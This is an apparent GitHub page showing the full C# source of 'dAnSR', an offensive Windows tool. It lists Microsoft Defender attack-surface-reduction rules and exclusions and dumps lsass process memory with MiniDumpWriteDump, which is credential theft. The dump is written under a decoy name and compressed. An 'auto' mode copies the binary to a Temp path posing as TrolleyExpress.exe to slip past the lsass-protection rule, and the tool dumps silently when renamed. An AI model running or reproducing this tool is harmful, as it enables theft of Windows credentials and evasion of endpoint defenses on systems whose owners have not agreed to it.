-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathProgram.cs
More file actions
executable file
·313 lines (271 loc) · 12 KB
/
Copy pathProgram.cs
File metadata and controls
executable file
·313 lines (271 loc) · 12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.ComponentModel;
using System.IO.Compression;
namespace dAnSR
{
internal enum ASRAction
{
Disabled = 0,
Enabled = 1,
Audit = 2,
Warn = 6
}
internal struct ASRRule
{
private static Dictionary<string, string> NameDict = new Dictionary<string, string>
{
{ "56a863a9-875e-4185-98a7-b882c64b5ce5", "Block abuse of exploited vulnerable signed drivers" },
{ "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", "Block Adobe Reader from creating child processes" },
{ "d4f940ab-401b-4efc-aadc-ad5f3c50688a", "Block all Office applications from creating child processes" },
{ "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", "Block credential stealing from the Windows local security authority subsystem (lsass.exe)" },
{ "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550", "Block executable content from email client and webmail" },
{ "01443614-cd74-433a-b99e-2ecdc07bfc25", "Block executable files from running unless they meet a prevalence or trusted list criterion" },
{ "5beb7efe-fd9a-4556-801d-275e5ffc04cc", "Block execution of potentially obfuscated scripts" },
{ "d3e037e1-3eb8-44c8-a917-57927947596d", "Block JavaScript or VBScript from launching downloaded executable content" },
{ "3b576869-a4ec-4529-8536-b80a7769e899", "Block Office applications from creating executable content" },
{ "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84", "Block Office applications from injecting code into other processes" },
{ "26190899-1602-49e8-8b27-eb1d0a1ce869", "Block Office communication application from creating child processes" },
{ "e6db77e5-3df2-4cf1-b95a-636979351e5b", "Block persistence through WMI event subscription" },
{ "d1e49aac-8f56-4280-b9ba-993a6d77406c", "Block process creations originating from PSExec and WMI commands" },
{ "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4", "Block untrusted and unsigned processes that run from USB" },
{ "92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b", "Block Win32 API calls from Office macros" },
{ "c1db55ab-c21a-4637-bb3f-a12568109d35", "Use advanced protection against ransomware" }
};
public string Id;
public ASRAction Action;
public override string ToString() => $"[{Id}] {NameDict[Id]}: {Action}";
}
internal class Program
{
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
private static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
private static bool IsCurrentDirectoryWritable()
{
try
{
string tempFilePath = Path.Combine(Environment.CurrentDirectory, Guid.NewGuid().ToString("N") + ".tmp");
using (File.Create(tempFilePath)) { }
File.Delete(tempFilePath);
return true;
}
catch (Exception)
{
return false;
}
}
private static bool IsRunningAsAdmin()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
private static void CompressFile(FileStream sourceStream, string gzipPath)
{
using (FileStream fs = new FileStream(gzipPath, FileMode.Create))
{
using (GZipStream zipStream = new GZipStream(fs, CompressionMode.Compress, false))
{
sourceStream.CopyTo(zipStream);
}
}
}
private static (List<ASRRule>, string[]) QueryASRInformation()
{
ManagementScope scope = new ManagementScope(@"\\.\root\Microsoft\Windows\Defender");
ObjectQuery query = new ObjectQuery("SELECT * FROM MSFT_MpPreference");
ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query);
ManagementObject result = searcher.Get().OfType<ManagementObject>().First();
List<ASRRule> asrRules = new List<ASRRule>();
string[] asrIds, asrExclusions = new string[0];
byte[] asrActions;
asrIds = (string[])result["AttackSurfaceReductionRules_Ids"];
if (asrIds == null)
{
return (asrRules, asrExclusions);
}
asrActions = (byte[])result["AttackSurfaceReductionRules_Actions"];
asrExclusions = (string[])result["AttackSurfaceReductionOnlyExclusions"];
for (int i = 0; i < asrIds.Length; i++)
{
ASRRule rule;
rule.Id = asrIds[i];
rule.Action = (ASRAction)asrActions[i];
asrRules.Add(rule);
}
return (asrRules, asrExclusions);
}
private static void Enum()
{
(List<ASRRule> asrRules, string[] generalExclusions) = QueryASRInformation();
if (asrRules.Count == 0)
{
Console.WriteLine("[+] No ASR rules configured");
return;
}
Console.WriteLine("[+] Configured ASR rules: ");
foreach (ASRRule asrRule in asrRules)
{
Console.WriteLine(asrRule);
}
Console.WriteLine();
if (IsRunningAsAdmin())
{
if (generalExclusions != null)
{
Console.WriteLine("[+] Paths generally excluded from ASR rules (does not affect LSASS): ");
foreach (string exclusion in generalExclusions)
{
Console.WriteLine(exclusion);
}
}
else
{
Console.WriteLine("[-] No exclusions are configured");
}
}
else
{
Console.WriteLine("[-] Check requires local admin");
}
}
private static void Dump()
{
if (!IsRunningAsAdmin())
{
Console.WriteLine("[-] Need to run with admin privs");
return;
}
Process process = Process.GetProcessesByName("lsass")[0];
uint processId = (uint)process.Id;
IntPtr hProcess = process.Handle;
if (hProcess == IntPtr.Zero)
{
Console.WriteLine("[-] Could not get a handle to lsass");
return;
}
string dumpPath = Path.Combine(Environment.CurrentDirectory, "desktop2.ini");
FileStream procdumpFileStream = File.Create(dumpPath);
bool success = MiniDumpWriteDump(hProcess, processId, procdumpFileStream.SafeFileHandle, 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (!success)
{
Console.WriteLine($"[-] Failed to dump lsass: {new Win32Exception(Marshal.GetLastWin32Error()).Message}");
procdumpFileStream.Dispose();
File.Delete(dumpPath);
return;
}
Console.WriteLine($"[+] Dumped lsass: {dumpPath}");
string gzipPath = Environment.CurrentDirectory + @"\dansr.gz";
CompressFile(procdumpFileStream, gzipPath);
Console.WriteLine($"[+] Compressed dump: {gzipPath}");
procdumpFileStream.Dispose();
File.Delete(dumpPath);
Console.WriteLine($"[+] Cleaned up dump file");
}
private static void Auto()
{
if (!IsRunningAsAdmin())
{
Console.WriteLine("[-] Need to run with admin privs");
return;
}
Random random = new Random();
string targetPath, tempDirectory = Path.GetTempPath();
int randomNumber;
do
{
randomNumber = random.Next();
targetPath = $@"{tempDirectory}Ctx-{randomNumber}\Extract\";
} while (File.Exists(targetPath));
try
{
Directory.CreateDirectory(targetPath);
}
catch (Exception ex)
{
Console.WriteLine($"[-] Failed to create {targetPath}: {ex.Message}");
return;
}
Console.WriteLine($"[+] Created {targetPath}");
string exePath = targetPath + "TrolleyExpress.exe";
try
{
File.Copy(Assembly.GetExecutingAssembly().Location, exePath);
}
catch (Exception ex)
{
Console.WriteLine($"[-] Failed to create {targetPath}: {ex.Message}");
Directory.Delete(Directory.GetParent(targetPath).FullName, true);
return;
}
Console.WriteLine($"[+] Copied dAnSR to {exePath}");
try
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = exePath,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
Process process = new Process
{
StartInfo = startInfo
};
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
Console.WriteLine(output);
}
catch (Exception ex)
{
Console.WriteLine($"[-] {ex.Message}");
}
Directory.Delete(Directory.GetParent(Directory.GetParent(targetPath).FullName).FullName, true);
}
static void Main(string[] args)
{
if (AppDomain.CurrentDomain.FriendlyName == "dAnSR.exe")
{
if (args.Length == 1 && args[0] == "enum")
{
Enum();
}
else if (args.Length == 1 && args[0] == "dump")
{
Dump();
}
else if (args.Length == 1 && args[0] == "auto")
{
if (!IsCurrentDirectoryWritable())
{
Console.WriteLine("[-] Make sure CWD is writable");
return;
}
Auto();
}
else
{
Console.WriteLine("Usage: dAnSR.exe [options]");
Console.WriteLine("Options:");
Console.WriteLine(" enum - Enumerate configured ASR rules and exclusions");
Console.WriteLine(" dump - Dump lsass via MiniDumpWriteDump");
Console.WriteLine($@" auto - Copy dAnSR to {Path.GetTempPath()}Ctx-*\Extract\TrolleyExpress.exe and dump lsass (ASR bypass)");
Console.WriteLine("");
Console.WriteLine("Note: Rename this binary to automatically dump lsass upon execution (no arg mode)");
}
}
else
{
Dump();
}
}
}
}